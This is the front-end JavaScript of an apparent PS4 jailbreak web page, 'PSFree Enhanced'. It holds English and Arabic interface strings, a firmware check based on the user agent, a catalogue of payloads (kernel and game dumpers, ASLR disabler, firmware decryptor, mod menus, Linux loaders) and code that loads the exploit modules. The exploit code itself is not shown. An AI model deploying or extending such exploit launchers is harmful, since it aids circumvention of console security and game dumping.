linuxSection: document.getElementById('linux'),
|
||||
linuxTab: document.getElementById('linux-tab'),
|
||||
payloadsSectionTitle: document.getElementById('payloads-section-title'),
|
||||
exploitRunBtn: document.getElementById('exploitRun'),
|
||||
backToInitialBtn: document.getElementById('backToInitialBtn'),
|
||||
// Popups
|
||||
aboutPopupOverlay: document.getElementById('about-popup-overlay'),
|
||||
aboutPopup: document.getElementById('about-popup'),
|
||||
settingsPopupOverlay: document.getElementById('settings-popup-overlay'),
|
||||
settingsPopup: document.getElementById('settings-popup'),
|
||||
|
||||
// Settings elements
|
||||
autoJbCheckbox: document.getElementById('autoJbBox'),
|
||||
langRadios: document.querySelectorAll('#chooselang input[name="language"]'),
|
||||
};
|
||||
const languages = {
|
||||
"en": {
|
||||
"title": "PSFree Enhanced",
|
||||
"ps4FwCompatible": `PS4 FW: {ps4fw} | Compatible`,
|
||||
"ps4FwIncompatible": `PS4 FW: {ps4fw} | Incompatible`,
|
||||
"notPs4": "You are not on a PS4, platform: ",
|
||||
"clickToStart": "Click to start",
|
||||
"chooseHEN": "Choose your HEN flavor",
|
||||
"exploitStatusHeader": "Exploit status",
|
||||
"payloadsHeader": "Payloads",
|
||||
"settingsBtnTitle": "Settings",
|
||||
"aboutMenu": "About",
|
||||
"payloadsToolsHeader": "Tools",
|
||||
"payloadsGameHeader": "Game",
|
||||
"payloadsLinuxHeader": "Linux",
|
||||
"aboutPsfreeHeader": "About PSFree Enhanced",
|
||||
"aboutVersion": "Version: 1.5.1.3",
|
||||
"aboutDescription": "A web interface to jailbreak your PS4 using PSFree chained with Lapse kernel exploit.",
|
||||
"closeButton": "Close",
|
||||
"settingsPsfreeHeader": "Settings",
|
||||
"ps4FirmwareSupportedHeader": "Supported PS4 firmware",
|
||||
"autoJailbreakText": "Jailbreak automatically",
|
||||
"languageHeader": "Language",
|
||||
"englishOption": "English",
|
||||
"arabicOption": "Arabic",
|
||||
"warnings": {
|
||||
"note1": "Make sure to close all apps before running the exploit",
|
||||
"note2": "Make sure to delete cache data before running the exploit for the first time",
|
||||
"note3": "It might take you more than one time",
|
||||
},
|
||||
"backToInitialBtn": "Back",
|
||||
"alert": "Important notice",
|
||||
"waitingUserInput": "Waiting for user action",
|
||||
"jailbreakNow": "Jailbreak process will start with ",
|
||||
"cache": "Installing Cache: ",
|
||||
},
|
||||
"ar": {
|
||||
"title": "PSFree محسن",
|
||||
"ps4FwCompatible": `بلايستايشن 4 إصدار {ps4fw} | مدعوم`,
|
||||
"ps4FwIncompatible": `بلايستايشن 4 إصدار {ps4fw} | غير مدعوم`,
|
||||
"notPs4": "انت لست على جهاز بلايستايشن 4, المنصة: ",
|
||||
"clickToStart": "انقر للبدء",
|
||||
"chooseHEN": "اختر نكهتك",
|
||||
"exploitStatusHeader": "حالة الثغرة",
|
||||
"payloadsHeader": "الإضافات",
|
||||
"settingsBtnTitle": "الإعدادات",
|
||||
"aboutMenu": "حول",
|
||||
"payloadsToolsHeader": "الأدوات",
|
||||
"payloadsGameHeader": "الألعاب",
|
||||
"payloadsLinuxHeader": "لينكس",
|
||||
"aboutPsfreeHeader": "حول PSFree المحسن",
|
||||
"aboutVersion": "الإصدار: 1.5.1.3",
|
||||
"aboutDescription": "واجهة ويب لتهكير البلايستايشن 4 بإستخدام ثغرة PSFree المربوطة مع ثغرة النواة Lapse",
|
||||
"closeButton": "إغلاق",
|
||||
"settingsPsfreeHeader": "الإعدادات",
|
||||
"ps4FirmwareSupportedHeader": "إصدارات PS4 المدعومة",
|
||||
"autoJailbreakText": "تهكير تلقائي",
|
||||
"languageHeader": "اللغة",
|
||||
"arabicOption": "العربية",
|
||||
"englishOption": "الإنجليزية",
|
||||
"warnings": {
|
||||
"note1": "تأكد من إغلاق كل التطبيقات قبل تنفيذ الثغرة",
|
||||
"note2": "تأكد من ان تقوم بمسح الملفات المؤقته قبل تنفيذ الثغرة لأول مرة",
|
||||
"note3": "قم يتطلب الأمر المحاولة اكثر من مرة",
|
||||
},
|
||||
"backToInitialBtn": "الرجوع",
|
||||
"alert": "ملاحظات هامة",
|
||||
"waitingUserInput": "في انتظار التنفيذ من المستخدم",
|
||||
"jailbreakNow": "عملية تحميل الثغرة ستبدأ بإستحدام ",
|
||||
"cache": "جاري تحميل الموقع في الذاكرة المحلية: "
|
||||
}
|
||||
}
|
||||
const payloads = [
|
||||
{
|
||||
id: "App2USB",
|
||||
name: "App2USB",
|
||||
version: "1.0",
|
||||
description: "Unofficially Moves installed applications to an external USB drive.",
|
||||
author: "Stooged",
|
||||
category: "tools",
|
||||
funcName: "load_App2USB"
|
||||
},
|
||||
{
|
||||
id: "FTP",
|
||||
name: "FTP",
|
||||
version: "1.0",
|
||||
description: "Enables FTP server access for file transfers.",
|
||||
author: "xvortex",
|
||||
category: "tools",
|
||||
funcName: "load_FTP"
|
||||
},
|
||||
{
|
||||
id: "DisableUpdates",
|
||||
name: "Disable-Updates",
|
||||
version: "1.0",
|
||||
description: "Disables automatic system software updates.",
|
||||
author: "Scene",
|
||||
category: "tools",
|
||||
funcName: "load_DisableUpdates"
|
||||
},
|
||||
{
|
||||
id: "PS4Debug",
|
||||
name: "PS4-Debug",
|
||||
version: "v1.1.19",
|
||||
description: "Debugging tools for PS4.",
|
||||
author: "SiSTRo & Ctn",
|
||||
category: "tools",
|
||||
funcName: "load_PS4Debug"
|
||||
},
|
||||
{
|
||||
id: "KernelDumper",
|
||||
name: "Kernel-Dumper",
|
||||
version: "1.0",
|
||||
description: "Dumps the PS4 kernel.",
|
||||
author: "Eversion",
|
||||
category: "tools",
|
||||
funcName: "load_KernelDumper"
|
||||
},
|
||||
{
|
||||
id: "PS4DumperVTX",
|
||||
name: "PS4-Dumper-VTX",
|
||||
version: "1.0",
|
||||
description: "All-in-one game dumper for PS4.",
|
||||
author: "xvortex",
|
||||
category: "tools",
|
||||
funcName: "load_VTXDumper"
|
||||
},
|
||||
{
|
||||
id: "HistoryBlocker",
|
||||
name: "History-Blocker",
|
||||
version: "1.0",
|
||||
description: "Blocks the browser from remembering and returning to the last opened page on start. Run again to enable/disable.",
|
||||
author: "Stooged",
|
||||
category: "tools",
|
||||
funcName: "load_HistoryBlocker"
|
||||
},
|
||||
{
|
||||
id: "OrbisToolbox",
|
||||
name: "Orbis-Toolbox",
|
||||
version: "1.0",
|
||||
description: "A modification of the playstation UI to help with launching and developing homebrew..",
|
||||
author: "OSM-Made",
|
||||
category: "tools",
|
||||
funcName: "load_Orbis"
|
||||
},
|
||||
{
|
||||
id: "ToDex",
|
||||
name: "ToDex",
|
||||
version: "1.0",
|
||||
description: "Spoofs the target ID to match that of a test-kit, enables some extra options, etc.",
|
||||
author: "zecoxao",
|
||||
category: "tools",
|
||||
funcName: "load_ToDex"
|
||||
},
|
||||
{
|
||||
id: "ToDev",
|
||||
name: "ToDev",
|
||||
version: "1.0",
|
||||
description: "unlocks some PS4 Debug / TestKit Features.",
|
||||
author: "SonysNightmare",
|
||||
category: "tools",
|
||||
funcName: "load_ToDev"
|
||||
},
|
||||
{
|
||||
id: "ToKratos",
|
||||
name: "ToKratos",
|
||||
version: "1.0",
|
||||
description: "Custom firmware conversion tool.",
|
||||
author: "Various",
|
||||
category: "tools",
|
||||
funcName: "load_ToKratos"
|
||||
},
|
||||
{
|
||||
id: "ToCex",
|
||||
name: "ToCex",
|
||||
version: "1.0",
|
||||
description: "Converts console to CEX mode.",
|
||||
author: "Various",
|
||||
category: "tools",
|
||||
funcName: "load_ToCex"
|
||||
},
|
||||
{
|
||||
id: "BackupDB",
|
||||
name: "Backup-DB",
|
||||
version: "1.0",
|
||||
description: "Backs up your PS4's databases, licenses, and user data. Note this may not be useful if you have to reinitalize as your keys may change.",
|
||||
author: "Stooged",
|
||||
category: "tools",
|
||||
funcName: "load_BackupDB"
|
||||
},
|
||||
{
|
||||
id: "RestoreDB",
|
||||
name: "Restore-DB",
|
||||
version: "1.0",
|
||||
description: "Restores the data saved in the 'Backup' payload.",
|
||||
author: "Stooged",
|
||||
category: "tools",
|
||||
funcName: "load_RestoreDB"
|
||||
},
|
||||
{
|
||||
id: "RIFRenamer",
|
||||
name: "RIF-Renamer",
|
||||
version: "1.0",
|
||||
description: "Renames 'fake' RIFs to 'free' RIFs for better HEN compatibility. Use this if your PKGs only work with Mira+HEN.",
|
||||
author: "Al Azif",
|
||||
category: "tools",
|
||||
funcName: "load_RIFRenamer"
|
||||
},
|
||||
{
|
||||
id: "ExitIDU",
|
||||
name: "ExitIDU",
|
||||
version: "1.0",
|
||||
description: "Exits IDU mode and restarts the console.",
|
||||
author: "Scene Collective",
|
||||
category: "tools",
|
||||
funcName: "load_ExitIDU"
|
||||
},
|
||||
{
|
||||
id: "DisableASLR",
|
||||
name: "Disable-ASLR",
|
||||
version: "1.0",
|
||||
description: "Disables the ASLR (Address space layout randomization) to make working with memory easier/repeatable.",
|
||||
author: "Scene Collective",
|
||||
category: "tools",
|
||||
funcName: "load_DisableASLR"
|
||||
},
|
||||
{
|
||||
id: "ModuleDumper",
|
||||
name: "Module-Dumper",
|
||||
version: "1.0",
|
||||
description: "Dumps the decrypted modules from /system, /system_ex, /update and the root of the filesystem to a USB device.",
|
||||
author: "SocraticBliss",
|
||||
category: "tools",
|
||||
funcName: "load_ModuleDumper"
|
||||
},
|
||||
{
|
||||
id: "WebRTE",
|
||||
name: "WebRTE",
|
||||
version: "1.0",
|
||||
description: "Web Realtime Trainer Engine",
|
||||
author: "golden",
|
||||
category: "tools",
|
||||
funcName: "load_WebrRTE"
|
||||
},
|
||||
{
|
||||
id: "PermanentUART",
|
||||
name: "Permanent-UART",
|
||||
version: "1.0",
|
||||
description: "Enabled hardware based UART without a kernel patch, persists though updates.",
|
||||
author: "JTAG7371",
|
||||
category: "tools",
|
||||
funcName: "load_PermanentUART"
|
||||
},
|
||||
{
|
||||
id: "PUPDecrypt",
|
||||
name: "PUP-Decrypt",
|
||||
version: "1.0",
|
||||
description: "Payload to decrypt the contents of a firmware update file (PUP) on the PS4",
|
||||
author: "andy-man",
|
||||
category: "tools",
|
||||
funcName: "load_PUPDecrypt"
|
||||
},
|
||||
{
|
||||
id: "GTAVArabicGuy127",
|
||||
name: "GTAV-ArabicGuy-1.27",
|
||||
version: "1.27",
|
||||
description: "GTA V mod menu by ArabicGuy.",
|
||||
author: "ArabicGuy",
|
||||
category: "games",
|
||||
funcName: "load_GTAArbic"
|
||||
},
|
||||
{
|
||||
id: "GTAVArabicGuy132",
|
||||
name: "GTAV-ArabicGuy-1.32",
|
||||
version: "1.32",
|
||||
description: "GTA V mod menu by ArabicGuy.",
|
||||
author: "ArabicGuy",
|
||||
category: "games",
|
||||
funcName: "load_GTAArbic3"
|
||||
},
|
||||
{
|
||||
id: "GTAVArabicGuy133",
|
||||
name: "GTAV-ArabicGuy-1.33",
|
||||
version: "1.33",
|
||||
description: "GTA V mod menu by ArabicGuy.",
|
||||
author: "ArabicGuy",
|
||||
category: "games",
|
||||
funcName: "load_GTAArbic33"
|
||||
},
|
||||
{
|
||||
id: "GTAVBeefQueefMod133",
|
||||
name: "GTAV-BeefQueefMod-1.33",
|
||||
version: "1.33",
|
||||
description: "GTA V mod menu by BeefQueef.",
|
||||
author: "BeefQueef",
|
||||
category: "games",
|
||||
funcName: "load_GTABQ133"
|
||||
},
|
||||
{
|
||||
id: "GTAVBeefQueefMod134",
|
||||
name: "GTAV-BeefQueefMod-1.34",
|
||||
version: "1.34",
|
||||
description: "GTA V mod menu by BeefQueef.",
|
||||
author: "BeefQueef",
|
||||
category: "games",
|
||||
funcName: "load_GTABQ134"
|
||||
},
|
||||
{
|
||||
id: "GTAVBeefQueefMod138",
|
||||
name: "GTAV-BeefQueefMod-1.38",
|
||||
version: "1.38",
|
||||
description: "GTA V mod menu by BeefQueef.",
|
||||
author: "BeefQueef",
|
||||
category: "games",
|
||||
funcName: "load_GTABQ138"
|
||||
},
|
||||
{
|
||||
id: "GTAVWildeModz132",
|
||||
name: "GTAV-WildeModz-1.32",
|
||||
version: "1.32",
|
||||
description: "GTA V mod menu by WildeModz.",
|
||||
author: "WildeModz",
|
||||
category: "games",
|
||||
funcName: "load_GTAWM132"
|
||||
},
|
||||
{
|
||||
id: "GTAVWildeModz133",
|
||||
name: "GTAV-WildeModz-1.33",
|
||||
version: "1.33",
|
||||
description: "GTA V mod menu by WildeModz.",
|
||||
author: "WildeModz",
|
||||
category: "games",
|
||||
funcName: "load_GTAWM133"
|
||||
},
|
||||
{
|
||||
id: "GTAVWildeModz138",
|
||||
name: "GTAV-WildeModz-1.38",
|
||||
version: "1.38",
|
||||
description: "GTA V mod menu by WildeModz.",
|
||||
author: "WildeModz",
|
||||
category: "games",
|
||||
funcName: "load_GTAWM138"
|
||||
},
|
||||
{
|
||||
id: "RDR2OystersMenu100",
|
||||
name: "RDR2-OystersMenu-1.00",
|
||||
version: "1.00",
|
||||
description: "RDR2 mod menu by Oysters.",
|
||||
author: "Oysters",
|
||||
category: "games",
|
||||
funcName: "load_Oysters100"
|
||||
},
|
||||
{
|
||||
id: "RDR2OystersMenu113",
|
||||
name: "RDR2-OystersMenu-1.13",
|
||||
version: "1.13",
|
||||
description: "RDR2 mod menu by Oysters.",
|
||||
author: "Oysters",
|
||||
category: "games",
|
||||
funcName: "load_Oysters113"
|
||||
},
|
||||
{
|
||||
id: "RDR2OystersMenu119",
|
||||
name: "RDR2-OystersMenu-1.19",
|
||||
version: "1.19",
|
||||
description: "RDR2 mod menu by Oysters.",
|
||||
author: "Oysters",
|
||||
category: "games",
|
||||
funcName: "load_Oysters119"
|
||||
},
|
||||
{
|
||||
id: "RDR2OystersMenu124",
|
||||
name: "RDR2-OystersMenu-1.24",
|
||||
version: "1.24",
|
||||
description: "RDR2 mod menu by Oysters.",
|
||||
author: "Oysters",
|
||||
category: "games",
|
||||
funcName: "load_Oysters124"
|
||||
},
|
||||
{
|
||||
id: "RDR2OystersMenu129",
|
||||
name: "RDR2-OystersMenu-1.29",
|
||||
version: "1.29",
|
||||
description: "RDR2 mod menu by Oysters.",
|
||||
author: "Oysters",
|
||||
category: "games",
|
||||
funcName: "load_Oysters129"
|
||||
},
|
||||
{
|
||||
id: "Linux1GB",
|
||||
name: "Linux-1GB",
|
||||
version: "1.0",
|
||||
description: "Linux payload for PS4",
|
||||
author: "Nazky",
|
||||
category: "linux",
|
||||
funcName: "load_Linux"
|
||||
},
|
||||
{
|
||||
id: "Linux2GB",
|
||||
name: "Linux-2GB",
|
||||
version: "1.0",
|
||||
description: "Linux payload for PS4",
|
||||
author: "Nazky",
|
||||
category: "linux",
|
||||
funcName: "load_Linux2gb"
|
||||
},
|
||||
{
|
||||
id: "Linux3GB",
|
||||
name: "Linux-3GB",
|
||||
version: "1.0",
|
||||
description: "Loads a 3GB Linux payload for dual-booting.",
|
||||
author: "Nazky",
|
||||
category: "linux",
|
||||
funcName: "load_Linux3gb"
|
||||
},
|
||||
{
|
||||
id: "Linux4GB",
|
||||
name: "Linux-4GB",
|
||||
version: "1.0",
|
||||
description: "Loads a 4GB Linux payload for dual-booting.",
|
||||
author: "Nazky",
|
||||
category: "linux",
|
||||
funcName: "load_Linux4gb"
|
||||
},
|
||||
{
|
||||
id: "Linux5GB",
|
||||
name: "Linux-5GB",
|
||||
version: "1.0",
|
||||
description: "Loads a 5GB Linux payload for dual-booting.",
|
||||
author: "Nazky",
|
||||
category: "linux",
|
||||
funcName: "load_Linux5gb"
|
||||
},
|
||||
];
|
||||
|
||||
// Events
|
||||
// Scroll snap for the PS4
|
||||
ui.mainContainer.addEventListener('scroll', () => {
|
||||
if (ui.mainContainer.scrollTop > lastScrollY) {
|
||||
// scrolling down
|
||||
if (lastSection !== "exploit") {
|
||||
ui.exploitScreen.scrollIntoView({ block: "end" });
|
||||
lastSection = "exploit";
|
||||
}
|
||||
} else if (ui.mainContainer.scrollTop < lastScrollY) {
|
||||
// scrolling up
|
||||
if (lastSection !== "initial") {
|
||||
ui.initialScreen.scrollIntoView({ block: "end" });
|
||||
lastSection = "initial";
|
||||
}
|
||||
}
|
||||
lastScrollY = ui.mainContainer.scrollTop;
|
||||
});
|
||||
|
||||
// Launch jailbreak
|
||||
ui.exploitRunBtn.addEventListener('click', () => {
|
||||
jailbreak();
|
||||
});
|
||||
|
||||
ui.psLogoContainer.addEventListener('click', () => {
|
||||
jailbreak()
|
||||
ui.exploitScreen.scrollIntoView({ block: "end" })
|
||||
});
|
||||
|
||||
// Auto jailbreak
|
||||
ui.autoJbCheckbox.addEventListener('change', (e) => {
|
||||
isAutoJailbreakEnabled = e.target.checked;
|
||||
localStorage.setItem('autoJailbreak', e.target.checked);
|
||||
if (e.target.checked) {
|
||||
if (confirm(languages[currentLanguage].jailbreakNow + currentJbFlavor)) {
|
||||
settingsPopup()
|
||||
ui.exploitScreen.scrollIntoView({ block: "end" })
|
||||
jailbreak();
|
||||
}
|
||||
}
|
||||
});
|
||||
// tabs switching
|
||||
ui.toolsTab.addEventListener('click', () =>{
|
||||
if (ui.toolsSection.classList.contains('hidden')){
|
||||
ui.toolsSection.classList.remove('hidden');
|
||||
ui.linuxSection.classList.add('hidden');
|
||||
ui.gamesSection.classList.add('hidden');
|
||||
}
|
||||
})
|
||||
|
||||
ui.linuxTab.addEventListener('click', () =>{
|
||||
if (ui.linuxSection.classList.contains('hidden')){
|
||||
ui.toolsSection.classList.add('hidden');
|
||||
ui.linuxSection.classList.remove('hidden');
|
||||
ui.gamesSection.classList.add('hidden');
|
||||
}
|
||||
})
|
||||
|
||||
ui.gamesTab.addEventListener('click', () =>{
|
||||
if (ui.gamesSection.classList.contains('hidden')){
|
||||
ui.toolsSection.classList.add('hidden');
|
||||
ui.linuxSection.classList.add('hidden');
|
||||
ui.gamesSection.classList.remove('hidden');
|
||||
}
|
||||
})
|
||||
|
||||
// popups
|
||||
function aboutPopup() {
|
||||
ui.aboutPopupOverlay.classList.toggle('hidden');
|
||||
}
|
||||
|
||||
function settingsPopup() {
|
||||
ui.settingsPopupOverlay.classList.toggle('hidden');
|
||||
}
|
||||
|
||||
|
||||
// Jailbreak-related functions
|
||||
async function jailbreak() {
|
||||
try {
|
||||
const modules = await loadMultipleModules([
|
||||
'../payloads/Jailbreak.js',
|
||||
'../../src/alert.mjs'
|
||||
]);
|
||||
const JailbreakModule = modules[0];
|
||||
|
||||
if (currentJbFlavor == 'GoldHEN') {
|
||||
if (JailbreakModule && typeof JailbreakModule.GoldHEN === 'function') {
|
||||
JailbreakModule.GoldHEN();
|
||||
} else {
|
||||
alert("GoldHEN function not found in Jailbreak.js module");
|
||||
}
|
||||
} else {
|
||||
if (JailbreakModule && typeof JailbreakModule.HEN === 'function') {
|
||||
JailbreakModule.HEN();
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
console.error("Failed to jailbreak:", e);
|
||||
}
|
||||
}
|
||||
|
||||
async function loadMultipleModules(files) {
|
||||
try {
|
||||
// Dynamically import all modules
|
||||
const modules = await Promise.all(files.map(file => import(file)));
|
||||
return modules; // array of imported modules
|
||||
} catch (error) {
|
||||
console.error("Error loading modules:", error);
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
async function binloader() {
|
||||
try {
|
||||
sessionStorage.setItem('binloader', 1);
|
||||
const modules = await loadMultipleModules([
|
||||
'../../src/alert.mjs'
|
||||
]);
|
||||
console.log("All modules are loaded!");
|
||||
|
||||
const goldhenModule = modules[0];
|
||||
if (goldhenModule && typeof goldhenModule.runBinLoader === 'function') {
|
||||
goldhenModule.runBinLoader();
|
||||
} else {
|
||||
console.error("GoldHEN function not found in GoldHEN.js module");
|
||||
}
|
||||
} catch (e) {
|
||||
console.error("Failed to jailbreak:", e);
|
||||
}
|
||||
}
|
||||
function isHttps() {
|
||||
return window.location.protocol === 'https:';
|
||||
}
|
||||
|
||||
async function Loadpayloads(payload) {
|
||||
try {
|
||||
let modules;
|
||||
sessionStorage.removeItem('binloader');
|
||||
if (isHttps()) {
|
||||
modules = await loadMultipleModules([
|
||||
'../payloads/payloads.js',
|
||||
'../../src/alert.mjs'
|
||||
]);
|
||||
} else {
|
||||
modules = await loadMultipleModules([
|
||||
'../payloads/payloads.js'
|
||||
]);
|
||||
}
|
||||
console.log("All modules are loaded!");
|
||||
|
||||
const payloadModule = modules[0];
|
||||
if (payloadModule && typeof payloadModule[payload] === 'function') {
|
||||
payloadModule[payload]();
|
||||
} else {
|
||||
alert(`${payload} function not found in payloads.js module`);
|
||||
}
|
||||
} catch (e) {
|
||||
alert(`Failed to load ${payload}:`, e);
|
||||
}
|
||||
}
|
||||
|
||||
function loadAutoJb() {
|
||||
ui.autoJbCheckbox.checked = isAutoJailbreakEnabled == 'true' ? true : false;
|
||||
if (isAutoJailbreakEnabled == 'true') {
|
||||
if (confirm(languages[currentLanguage].jailbreakNow + currentJbFlavor)) {
|
||||
ui.exploitScreen.scrollIntoView({ block: "end" })
|
||||
jailbreak();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function loadLanguage() {
|
||||
var language = localStorage.getItem("language");
|
||||
if (language == null) {
|
||||
document.querySelector('input[name=language][value="en"]').checked = true;
|
||||
} else document.querySelector(`input[name="language"][value="${language}`).checked = true;
|
||||
}
|
||||
|
||||
// Update UI langauge
|
||||
function applyLanguage(lang) {
|
||||
currentLanguage = lang;
|
||||
const strings = languages[currentLanguage];
|
||||
|
||||
if (!strings) {
|
||||
console.error(`Language list ${lang} is not available`);
|
||||
return;
|
||||
}
|
||||
|
||||
document.title = strings.title || "PSFree Enhanced";
|
||||
document.dir = (currentLanguage === 'ar') ? 'rtl' : 'ltr';
|
||||
document.lang = currentLanguage;
|
||||
|
||||
|
||||
// Check if ps4 is supported
|
||||
if (ps4fw === null) {
|
||||
ui.ps4FwStatus.textContent = strings.notPs4 + platform;
|
||||
ui.ps4FwStatus.style.color = 'red';
|
||||
} else if (ps4fw <= 9.60) {
|
||||
ui.ps4FwStatus.textContent = strings.ps4FwCompatible.replace('{ps4fw}', ps4fw);
|
||||
ui.ps4FwStatus.style.color = 'green';
|
||||
} else {
|
||||
ui.ps4FwStatus.textContent = strings.ps4FwIncompatible.replace('{ps4fw}', ps4fw);
|
||||
ui.ps4FwStatus.style.color = 'red';
|
||||
}
|
||||
// Main screen elements
|
||||
ui.settingsBtn.title = strings.settingsBtnTitle;
|
||||
ui.clickToStartText.textContent = strings.clickToStart;
|
||||
document.querySelector('#choosejb-initial h3').textContent = strings.chooseHEN;
|
||||
|
||||
// About us popup
|
||||
ui.aboutPopup.querySelector('h2').textContent = strings.aboutPsfreeHeader;
|
||||
ui.aboutPopup.querySelectorAll('p')[0].textContent = strings.aboutVersion;
|
||||
ui.aboutPopup.querySelectorAll('p')[1].textContent = strings.aboutDescription;
|
||||
ui.aboutPopup.querySelector('#PS4FWOK h3').textContent = strings.ps4FirmwareSupportedHeader;
|
||||
ui.aboutPopup.querySelector('#close-about').textContent = strings.closeButton;
|
||||
|
||||
// Settings popup
|
||||
ui.settingsPopup.querySelector('h2').textContent = strings.settingsPsfreeHeader;
|
||||
ui.settingsPopup.querySelector('#autojbchkb p').textContent = strings.autoJailbreakText;
|
||||
ui.settingsPopup.querySelector('#chooselang h3').textContent = strings.languageHeader;
|
||||
ui.settingsPopup.querySelector('#enLang').textContent = strings.englishOption;
|
||||
ui.settingsPopup.querySelector('#arLang').textContent = strings.arabicOption;
|
||||
ui.settingsPopup.querySelector('#close-settings').textContent = strings.closeButton;
|
||||
|
||||
// Warning element (Exploit section)
|
||||
const warningHeader = document.querySelector('#warningBox p');
|
||||
const warningNotes = document.querySelector('#warningBox ul');
|
||||
if (warningNotes) {
|
||||
const items = warningNotes.querySelectorAll('li');
|
||||
if (items[0]) items[0].textContent = strings.warnings.note1;
|
||||
if (items[1]) items[1].textContent = strings.warnings.note2;
|
||||
if (items[2]) items[2].textContent = strings.warnings.note3;
|
||||
}
|
||||
warningHeader.textContent = strings.alert;
|
||||
|
||||
// Buttons
|
||||
ui.backToInitialBtn.textContent = strings.backToInitialBtn;
|
||||
ui.exploitRunBtn.title = strings.clickToStart;
|
||||
ui.aboutBtn.title = strings.aboutMenu;
|
||||
|
||||
document.querySelector('#exploit-status-panel h2').textContent = strings.exploitStatusHeader;
|
||||
ui.payloadsSectionTitle.textContent = strings.payloadsHeader;
|
||||
ui.toolsTab.textContent = strings.payloadsToolsHeader;
|
||||
ui.linuxTab.textContent = strings.payloadsLinuxHeader;
|
||||
ui.gamesTab.textContent = strings.payloadsGameHeader;
|
||||
ui.consoleElement.querySelector('center').textContent = strings.waitingUserInput;
|
||||
}
|
||||
|
||||
|
||||
function saveJbFlavor(name, value) {
|
||||
localStorage.setItem("jailbreakFlavor", value);
|
||||
// Apply hen selector to both inputs
|
||||
document.querySelector(`input[name="${name == "hen" ? "hen2" : "hen"}"][value="${value}"]`).checked = true;
|
||||
currentJbFlavor = value;
|
||||
};
|
||||
|
||||
function loadJbFlavor() {
|
||||
const flavor = currentJbFlavor || 'GoldHEN';
|
||||
const henRadio = document.querySelector(`input[name="hen"][value="${flavor}"]`);
|
||||
const hen2Radio = document.querySelector(`input[name="hen2"][value="${flavor}"]`);
|
||||
|
||||
if (henRadio && hen2Radio) {
|
||||
henRadio.checked = true;
|
||||
hen2Radio.checked = true;
|
||||
}
|
||||
}
|
||||
|
||||
function saveLanguage() {
|
||||
const language = document.querySelector('input[name="language"]:checked').value;
|
||||
localStorage.setItem('language', language);
|
||||
currentLanguage = language;
|
||||
applyLanguage(language);
|
||||
};
|
||||
|
||||
function CheckFW() {
|
||||
const userAgent = navigator.userAgent;
|
||||
const ps4Regex = /PlayStation 4/;
|
||||
let fwVersion = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("layStation 4/","");
|
||||
const elementsToHide = [
|
||||
'ps-logo-container', 'choosejb-initial', 'exploit-main-screen', 'scrollDown',
|
||||
'payloadsbtn', 'autojbchkb', 'click-to-start-text'
|
||||
];
|
||||
|
||||
if (ps4Regex.test(userAgent)) {
|
||||
if (fwVersion >= 7.00 && fwVersion <= 9.60) {
|
||||
document.getElementById('PS4FW').style.color = 'green';
|
||||
} else {
|
||||
document.getElementById('PS4FW').style.color = 'red';
|
||||
|
||||
elementsToHide.forEach(id => {
|
||||
const el = document.getElementById(id);
|
||||
if (el) el.style.display = 'none';
|
||||
});
|
||||
}
|
||||
ps4fw = fwVersion;
|
||||
let fwElement = "fw"+fwVersion.replace('.','');
|
||||
document.getElementById(fwElement).classList.add('fwSelected');
|
||||
} else {
|
||||
platform = 'Unknown platform';
|
||||
|
||||
if (/Android/.test(userAgent)) platform = 'Android';
|
||||
else if (/iPhone|iPad|iPod/.test(userAgent)) platform = 'iOS';
|
||||
else if (/Macintosh/.test(userAgent)) platform = 'MacOS';
|
||||
else if (/Windows/.test(userAgent)) platform = 'Windows';
|
||||
else if (/Linux/.test(userAgent)) platform = 'Linux';
|
||||
|
||||
document.getElementById('PS4FW').style.color = 'red';
|
||||
// elementsToHide.forEach(id => {
|
||||
// const el = document.getElementById(id);
|
||||
// if (el) el.style.display = 'none';
|
||||
// });
|
||||
}
|
||||
}
|
||||
|
||||
// Load settings
|
||||
function loadSettings() {
|
||||
try {
|
||||
CheckFW();
|
||||
loadJbFlavor();
|
||||
loadLanguage();
|
||||
applyLanguage(currentLanguage);
|
||||
renderPayloads();
|
||||
loadAutoJb();
|
||||
} catch (e) {
|
||||
alert("Error in loadSettings: " + e.message);
|
||||
}
|
||||
}
|
||||
|
||||
function getPayloadCategoryClass(category) {
|
||||
switch (category) {
|
||||
case 'tools': return 'category-tools';
|
||||
case 'games': return 'category-games';
|
||||
case 'linux': return 'category-linux';
|
||||
default: return '';
|
||||
}
|
||||
}
|
||||
|
||||
function renderPayloads() {
|
||||
const payloadsToRender = payloads;
|
||||
|
||||
payloadsToRender.forEach(payload => {
|
||||
const payloadCard = document.createElement('div');
|
||||
payloadCard.id = payload.id;
|
||||
payloadCard.onclick = () => Loadpayloads(payload.funcName);
|
||||
payloadCard.className = `payload payload-card relative group cursor-pointer transition-all duration-300 hover:scale-105`;
|
||||
payloadCard.dataset.payloadId = payload.id;
|
||||
|
||||
payloadCard.innerHTML = `
|
||||
<button style="width: 100%;">
|
||||
<div class="bg-gray-800 border border-white/20 rounded-xl p-6 h-full">
|
||||
<div class="flex items-start justify-between mb-4">
|
||||
<div class="flex items-center space-x-3">
|
||||
<div class="text-2xl"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-gear" viewBox="0 0 16 16"> <path d="M8 4.754a3.246 3.246 0 1 0 0 6.492 3.246 3.246 0 0 0 0-6.492zM5.754 8a2.246 2.246 0 1 1 4.492 0 2.246 2.246 0 0 1-4.492 0z"/> <path d="M9.796 1.343c-.527-1.79-3.065-1.79-3.592 0l-.094.319a.873.873 0 0 1-1.255.52l-.292-.16c-1.64-.892-3.433.902-2.54 2.541l.159.292a.873.873 0 0 1-.52 1.255l-.319.094c-1.79.527-1.79 3.065 0 3.592l.319.094a.873.873 0 0 1 .52 1.255l-.16.292c-.892 1.64.901 3.434 2.541 2.54l.292-.159a.873.873 0 0 1 1.255.52l.094.319c.527 1.79 3.065 1.79 3.592 0l.094-.319a.873.873 0 0 1 1.255-.52l.292.16c1.64.893 3.434-.902 2.54-2.541l-.159-.292a.873.873 0 0 1 .52-1.255l.319-.094c1.79-.527 1.79-3.065 0-3.592l-.319-.094a.873.873 0 0 1-.52-1.255l.16-.292c.893-1.64-.902-3.433-2.541-2.54l-.292.159a.873.873 0 0 1-1.255-.52l-.094-.319zm-2.633.283c.246-.835 1.428-.835 1.674 0l.094.319a1.873 1.873 0 0 0 